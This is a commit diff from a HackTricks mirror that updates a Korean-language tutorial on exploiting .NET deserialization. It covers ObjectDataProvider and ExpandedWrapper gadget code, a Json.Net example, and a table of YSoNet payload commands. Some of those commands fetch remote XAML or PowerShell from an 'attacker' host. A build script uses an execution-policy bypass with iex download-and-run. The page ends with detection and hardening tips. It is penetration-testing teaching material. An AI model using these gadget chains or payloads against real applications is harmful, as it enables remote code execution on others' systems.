mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/basic-.net-deserializati
This commit is contained in:
parent
5c76cba27d
commit
85dc7b4a9e
@ -2,19 +2,19 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되는지 이해하기 위해** 작성되었습니다. RCE를 얻기 위해 **Json.Net 및 xmlSerializer와 같은 직렬화 라이브러리가 어떻게 악용될 수 있는지** 설명합니다.
|
||||
이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되는지 이해하기 위해** 작성되었습니다. 이를 통해 RCE를 얻고 **Serialization 라이브러리인** **Json.Net과 xmlSerializer가 어떻게 악용될 수 있는지** 설명합니다.
|
||||
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
문서에서: _ObjectDataProvider 클래스는 바인딩 소스로 사용할 수 있는 객체를 래핑하고 생성합니다._\
|
||||
네, 이상한 설명이니, 이 클래스가 왜 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**한 다음, **MethodName을 사용하여 임의의 함수**를 호출할 수 있게 해줍니다.\
|
||||
따라서 임의의 **객체**는 **역직렬화되는 동안 매개변수와 함께 **함수를 실행**합니다.**
|
||||
따라서 임의의 **객체**는 **역직렬화되는 동안** **매개변수와 함께** **함수를 실행**합니다.
|
||||
|
||||
### **이것이 어떻게 가능할까요**
|
||||
|
||||
**System.Windows.Data** 네임스페이스는 **PresentationFramework.dll** 내에 정의되고 구현되어 있으며, 경로는 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`입니다.
|
||||
**System.Windows.Data** 네임스페이스는 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에 있는 **PresentationFramework.dll** 내에서 정의되고 구현됩니다.
|
||||
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하여 우리가 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 우리가 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -26,13 +26,13 @@
|
||||
|
||||
.png>)
|
||||
|
||||
코드의 끝에서 `this.QueryWorke(null)`를 호출하는 것을 주목하세요. 이것이 무엇을 실행하는지 살펴보겠습니다:
|
||||
코드의 끝부분에서 `this.QueryWorke(null)`를 호출하고 있다는 점에 유의하세요. 이것이 무엇을 실행하는지 살펴보겠습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **`this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이 줄이 **메서드 세트가 호출되는** 부분입니다.
|
||||
이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **는 `this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이 줄이 **메서드 세트가 호출되는** 부분입니다.
|
||||
|
||||
_**MethodName**_을 설정하기만 하면 실행된다는 것을 확인하고 싶다면, 이 코드를 실행할 수 있습니다:
|
||||
_**MethodName**_을 설정하기만 하면 실행된다는 것을 확인하고 싶다면, 이 코드를 실행해 보세요:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_를 참조로 추가해야 `System.Windows.Data`를 로드할 수 있습니다.
|
||||
_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_를 참조로 추가해야 `System.Windows.Data`를 로드할 수 있습니다.
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
이전의 익스플로잇을 사용하면 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다(예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 `GetType`을 사용하여 역직렬화됨). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 유형에 대한 **정보가 없습니다**(예: `Process`). DotNetNuke 취약점에 대한 더 많은 [정보는 여기에서 확인할 수 있습니다](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
|
||||
이는 앞서 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 **_ObjectDataProvider**_를 **_**ExpandedWrapper** _ 인스턴스 안에 **래핑**할 수 있고 **역직렬화될** 때 이 클래스가 **생성**할 _**OjectDataProvider**_ 객체가 _**MethodName**_에 지정된 **함수**를 **실행**할 것이기 때문입니다.
|
||||
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
|
||||
이는 앞서 제시된 경우와 같은 경우에 매우 유용합니다. 왜냐하면 **_ObjectDataProvider**_를 **_**ExpandedWrapper** _ 인스턴스 안에 **래핑**할 수 있고 **역직렬화될** 때 이 클래스가 _**OjectDataProvider**_ 객체를 **생성**하여 _**MethodName**_에 지정된 **함수**를 **실행**하기 때문입니다.
|
||||
|
||||
다음 코드를 사용하여 이 래퍼를 확인할 수 있습니다:
|
||||
```java
|
||||
@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
[공식 웹 페이지](https://www.newtonsoft.com/json)에서는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 한다**고 명시되어 있습니다. 따라서 **ObjectDataProvider 가젯을 역직렬화**할 수 있다면, 객체를 역직렬화하는 것만으로도 **RCE**를 유발할 수 있습니다.
|
||||
[공식 웹 페이지](https://www.newtonsoft.com/json)에서는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 해준다고** 명시하고 있습니다. 따라서 **ObjectDataProvider 가젯을 역직렬화할 수 있다면**, 객체를 역직렬화하는 것만으로 **RCE**를 유발할 수 있습니다.
|
||||
|
||||
### Json.Net 예제
|
||||
|
||||
@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## 고급 .NET 가젯 체인 (YSoNet & ysoserial.net)
|
||||
|
||||
위에서 소개한 ObjectDataProvider + ExpandedWrapper 기술은 애플리케이션이 **안전하지 않은 .NET 역직렬화**를 수행할 때 악용될 수 있는 많은 가젯 체인 중 하나일 뿐입니다. **[YSoNet](https://github.com/irsdl/ysonet)** (그리고 이전의 [ysoserial.net](https://github.com/pwntester/ysoserial.net))와 같은 현대의 레드팀 도구는 수십 개의 가젯과 직렬화 형식에 대한 **사용 준비가 완료된 악성 객체 그래프** 생성을 자동화합니다.
|
||||
|
||||
아래는 *YSoNet*과 함께 제공되는 가장 유용한 체인의 요약 참조와 그 작동 방식에 대한 간단한 설명 및 페이로드 생성을 위한 예제 명령입니다.
|
||||
|
||||
| 가젯 체인 | 주요 아이디어 / 원시 | 일반 직렬화기 | YSoNet 원라이너 |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` 레코드를 손상시켜, 일단 구체화되면 델리게이트가 *임의의* 공격자가 제공한 메서드(예: `Process.Start`)를 가리키도록 함 | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`를 악용하여 *.NET ≥4.8 타입 필터링을 우회*하고 제공된 클래스의 **생성자**를 직접 호출하거나 C# 파일을 즉석에서 **컴파일**함 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet`의 **구식 XML** 표현을 활용하여 `<ColumnMapping>` / `<DataType>` 필드를 채워 임의의 타입을 인스턴스화함 (선택적으로 `--spoofedAssembly`로 어셈블리를 위조) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF 지원 런타임에서 (> .NET 5) 속성 getter를 체인하여 `System.CodeDom.Compiler.CompilerResults`에 도달한 후, `-c`로 제공된 DLL을 *컴파일*하거나 *로드*함 | `Json.NET` 타입 없음, `MessagePack` 타입 없음 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (검토) | WPF `System.Windows.Data.ObjectDataProvider`를 사용하여 제어된 인수로 임의의 정적 메서드를 호출함. YSoNet은 악성 XAML을 원격으로 호스팅하기 위해 편리한 `--xamlurl` 변형을 추가함 | `BinaryFormatter`, `Json.NET`, `XAML`, *기타* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject`에 `ScriptBlock`을 포함시켜 PowerShell이 객체를 역직렬화할 때 실행됨 | PowerShell 원격, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> 모든 페이로드는 기본적으로 **stdout에 기록**되므로 다른 도구(예: ViewState 생성기, base64 인코더, HTTP 클라이언트)로 파이프하는 것이 간단합니다.
|
||||
|
||||
### YSoNet 빌드 / 설치
|
||||
|
||||
*Actions ➜ Artifacts* / *Releases* 아래에 미리 컴파일된 바이너리가 없는 경우, 다음 **PowerShell** 원라이너가 빌드 환경을 설정하고, 리포지토리를 클론하며, 모든 것을 *Release* 모드로 컴파일합니다:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||||
|
||||
git clone https://github.com/irsdl/ysonet
|
||||
cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
컴파일된 `ysonet.exe`는 `ysonet/bin/Release/` 아래에서 찾을 수 있습니다.
|
||||
|
||||
### 탐지 및 강화
|
||||
* **예상치 못한** `w3wp.exe`, `PowerShell.exe`의 자식 프로세스 또는 사용자 제공 데이터를 역직렬화하는 모든 프로세스를 탐지합니다 (예: `MessagePack`, `Json.NET`).
|
||||
* 레거시 `BinaryFormatter` / `NetDataContractSerializer`를 제거할 수 없는 경우, 항상 **타입 필터링**(`TypeFilterLevel` = *Full*, 사용자 정의 `SurrogateSelector`, `SerializationBinder`, *기타*)을 활성화하고 **강제 적용**합니다.
|
||||
* 가능한 경우 **`System.Text.Json`** 또는 **`DataContractJsonSerializer`**로 마이그레이션하고 화이트리스트 기반 변환기를 사용합니다.
|
||||
* 절대 필요하지 않은 웹 프로세스에서 위험한 WPF 어셈블리(`PresentationFramework`, `System.Workflow.*`)의 로드를 차단합니다.
|
||||
|
||||
## 참조
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user